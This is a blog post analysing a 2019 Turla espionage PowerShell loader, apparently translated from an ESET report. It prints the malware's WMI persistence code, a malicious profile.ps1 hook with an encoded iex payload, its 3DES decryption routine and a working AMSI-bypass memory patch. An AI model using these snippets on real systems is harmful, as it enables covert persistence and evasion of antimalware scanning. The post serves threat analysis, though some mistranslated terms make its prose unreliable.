Turla PowerShell attack tactics learning

This sample is a powershell sample used in mid May 2019.

background

Turla, also known as Snake, is a notorious spy organization known for its complex malware. Turla has been in operation since at least 2008, when it successfully attacked American troops. Recently, it participated in major attacks on the German Foreign Ministry and the French army.

In order to detect confusion, PowerShell scripts have been used in mid-2019, which provide the ability of direct memory loading and execution of malware executable files and libraries.

In mid-2018, Kaspersky Lab released a report analyzing the Turla PowerShell loader based on the open source project posh secmod. However, it had many problems, such as frequent crashes.

In mid-2019, Turla improved these scripts, which can be used to load various custom malware from its traditional Arsenal.

This sample was found in an attack in Central Eastern Europe.

PowerShell loader

The PowerShell loader has three main steps: persistence, decryption, and loading into the memory of an embedded executable or library.

Persistence

In the powershell script in the sample, we will use to protect rights. In this sample, we can know that two methods are used to protect rights:

Windows Management Instrumentation (WMI) event subscription

Changes to the PowerShell configuration file (profile.ps1 file).

Windows management specification

In the first case, the attacker creates two WMI event filters and two WMI event actions (consumers). The Consumer simply starts the command line of the base64 encoded PowerShell command, and then loads the PowerShell script stored in the Windows registry.

Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter "name='Syslog Consumer'" | Remove-WmiObject;

$NLP35gh = Set-WmiInstance -Namespace "root\subscription" -Class 'CommandLineEventConsumer' -Arguments @{ name = 'Syslog Consumer'; CommandLineTemplate = "$($Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -enc $HL39fjh"; RunInteractively = 'false' };

Get-WmiObject __eventFilter -namespace root\subscription -filter "name='Log Adapter Filter'" | Remove-WmiObject;
Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match 'Log Adapter' } | Remove-WmiObject;
$IT825cd = "SELECT * FROM __instanceModificationEvent WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour=15 AND TargetInstance.Minute=30 AND TargetInstance.Second=40";
$VQI79dcf = Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{ name = 'Log Adapter Filter'; EventNameSpace = 'root\CimV2'; QueryLanguage = 'WQL'; Query = $IT825cd };
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{ Filter = $VQI79dcf; Consumer = $NLP35gh };

Get-WmiObject __eventFilter -namespace root\subscription -filter "name='AD Bridge Filter'" | Remove-WmiObject;
Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match 'AD Bridge' } | Remove-WmiObject;
$IT825cd = "SELECT * FROM __instanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 300 AND TargetInstance.SystemUpTime < 400";
$VQI79dcf = Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{ name = 'AD Bridge Filter'; EventNameSpace = 'root\CimV2'; QueryLanguage = 'WQL'; Query = $IT825cd };
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{ Filter = $VQI79dcf; Consumer = $NLP35gh };

These events will run between 15:30:40 and system uptime between 300 and 400 seconds, respectively. The variable $HL39fjh contains a base64 encoded PowerShell command that reads the Windows registry key that stores the encrypted payload and contains the password and salt required to decrypt the payload.

[System.Text.Encoding]::ASCII.GetString([Convert]::FromBase64String("<base64-encoded password and salt">)) | iex ;[Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((Get-ItemProperty '$ZM172da').'$WY79ad')) | iex

Finally, the script stores the encrypted payload in the Windows registry. We observed that attackers seem to use different registry locations for each target.

Profile.ps1

In the latter case, the attacker can change the PowerShell configuration file.

According to Microsoft documentation:

https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-7.2&viewFallbackFrom=powershell-6
You can create a PowerShell profile to customize your environment and to add session-specific elements to every PowerShell session that you start.
A PowerShell profile is a script that runs when PowerShell starts. You can use the profile as a logon script to customize the environment. You can add commands, aliases, functions, variables, snap-ins, modules, and PowerShell drives. You can also add other session-specific elements to your profile so they are available in every session without having to import or re-create them.
PowerShell supports several profiles for users and host programs. However, it does not create the profiles for you. This topic describes the profiles, and it describes how to create and maintain profiles on your computer.
It explains how to use the NoProfile parameter of the PowerShell console (PowerShell.exe) to start PowerShell without any profiles. And, it explains the effect of the PowerShell execution policy on profiles.

A PowerShell configuration file is a script that runs when PowerShell starts. We can customize the environment by using the configuration file as a login script. We can also add commands, aliases, functions, variables, snap INS, modules, and PowerShell drives.

In the sample, Turla modified the PowerShell configuration file:

try
{
    $SystemProc = (Get-WmiObject 'Win32_Process' | ?{$_.ProcessId -eq $PID} |  % {Invoke-WmiMethod -InputObject $_ -Name 'GetOwner'} | ?{(Get-WmiObject -Class Win32_Account -Filter "name='$($_.User)'").SID -eq "S-1-5-18"})
    if ("$SystemProc" -ne "")
    {
      $([Convert]::ToBase64String($([Text.Encoding]::ASCII.GetBytes("<m>$([DateTime]::Now.ToString('G')): STARTED </m>") | %{ $_ -bxor 0xAA })) + "|") | Out-File 'C:\Users\Public\Downloads\thumbs.ini' -Append;
      [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String("IABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAIgBKAEYAZABJAFIAegBRADQATQBXAFIAawBJAEQAMABuAFEAMQBsAEQAVgBEAE0ANQBNAHoAUQB3AFoAbQBaAG8ASgB6AHMAZwBKAEUAWgBaAE4AVABKAGoAWgBUADAAbgBUAGsATgBEAFUAagBrADUATgB6AEIAbwBaAG0AaABqAEoAegBzAGcASQBBAD0APQAiACkAKQAgAHwAIABpAGUAeAAgADsAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwASQBuAHQAZQByAG4AZQB0ACAARQB4AHAAbABvAHIAZQByAFwAQQBjAHQAaQB2AGUAWAAgAEMAbwBtAHAAYQB0AGkAYgBpAGwAaQB0AHkAXAB7ADIAMgA2AGUAZAA1ADMAMwAtAGYAMQBiADAALQA0ADgAMQBkAC0AYQBkADIANgAtADAAYQBlADcAOABiAGMAZQA4ADEAZAA3AH0AJwApAC4AJwAoAEQAZQBmAGEAdQBsAHQAKQAnACkAKQAgAHwAIABpAGUAeAA=")) | iex | Out-Null;
      kill $PID;
    }
}
catch{$([Convert]::ToBase64String($([Text.Encoding]::ASCII.GetBytes("<m>$([DateTime]::Now.ToString('G')): $_ </m>") | %{ $_ -bxor 0xAA })) + "|") | Out-File 'C:\Users\Public\Downloads\thumbs.ini' -Append}

base64 encoded PowerShell commands are very similar to those used in WMI Consumer.

decrypt

The payload stored in the Windows registry is another PowerShell script. It was generated using the open source script Out-EncryptedScript.ps1 in the penetration testing framework powerploit.

Variable names are randomized:

$GSP540cd = "<base64 encoded + encrypted payload>";
$RS99ggf = $XZ228hha.GetBytes("PINGQXOMQFTZGDZX");
$STD33abh = [Convert]::FromBase64String($GSP540cd);
$SB49gje = New-Object System.Security.Cryptography.PasswordDeriveBytes($IY51aab, $XZ228hha.GetBytes($CBI61aeb), "SHA1", 2);
[Byte[]]$XYW18ja = $SB49gje.GetBytes(16);
$EN594ca = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider;
$EN594ca.Mode = [System.Security.Cryptography.CipherMode]::CBC;
[Byte[]]$ID796ea = New-Object Byte[]($STD33abh.Length);
$ZQD772bf = $EN594ca.CreateDecryptor($XYW18ja, $RS99ggf);
$DCR12ffg = New-Object System.IO.MemoryStream($STD33abh, $True);
$WG731ff = New-Object System.Security.Cryptography.CryptoStream($DCR12ffg, $ZQD772bf, [System.Security.Cryptography.CryptoStreamMode]::Read);
$XBD387bb = $WG731ff.Read($ID796ea, 0, $ID796ea.Length);
$OQ09hd = [YR300hf]::IWM01jdg($ID796ea);
$DCR12ffg.Close();
$WG731ff.Close();
$EN594ca.Clear();
return $XZ228hha.GetString($OQ09hd,0,$OQ09hd.Length);

The payload is decrypted using the 3DES algorithm. The initialization vector PINGQXOMQFTZGDZX in this example is different for each sample.

The key and salt of each script are also different. They are not stored in the script, but only in the WMI filter or profile.ps1 file.

PE loader

The payload decrypted in the previous step is a PowerShell reflection loader. It is based on the script invoke-reflective peinjection.ps1 from the same PowerPoint framework. Executable files are hard coded in scripts and injected into the memory of randomly selected processes running on the target system.

In some examples, the attacker specified a list of executables that do not inject binaries

$IgnoreNames = @(
   "smss.exe","csrss.exe","wininit.exe","winlogon.exe","lsass.exe","lsm.exe","svchost.exe","avp.exe","avpsus.exe","klnagent.exe","vapm.exe","spoolsv.exe"
   );

AMSI bypass

In some examples deployed since March 2019, Turla developers modified their PowerShell scripts to bypass the anti malware scanning interface (AMSI).

However, they did not find a new bypass method, but reused the technology proposed in the lecture The Rise and Fall of AMSI at Black Hat Asia in 2018. It consists of a memory patch starting with the function AmsiScanBuffer in Library amsi.dll.

The PowerShell script loads the. NET executable to retrieve the address of the AmsiScanBuffer. It then calls VirtualProtect to allow writing at the retrieved address.

Finally, the patch is done directly in the PowerShell script. It modifies the beginning of AmsiScanBuffer to always return 1 (amsi_result_not_detected). Therefore, the antimalware product will not receive the buffer, preventing any scanning.

$ptr = [Win32]::FindAmsiFun();
if($ptr -eq 0)
{
  Write-Host "protection not found"
}
else
{
  if([IntPtr]::size -eq 4)
  {
    Write-Host "x32 protection detected"
    $buf = New-Object Byte[] 7
    $buf[0] = 0x66; $buf[1] = 0xb8; $buf[2] = 0x01; $buf[3] = 0x00; $buf[4] = 0xc2; $buf[5] = 0x18; $buf[6] = 0x00; #mov ax, 1 ;ret 0x18;
    $c = [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 7)
  }
  else
  {
    Write-Host "x64 protection detected"
    $buf = New-Object Byte[] 6
    $buf[0] = 0xb8; $buf[1] = 0x01; $buf[2] = 0x00; $buf[3] = 0x00; $buf[4] = 0x00; $buf[5] = 0xc3;  #mov eax, 1 ;ret;
    $c = [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 6)
  }


}

https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/

Added by v1ral on Sun, 05 Dec 2021 06:57:23 +0200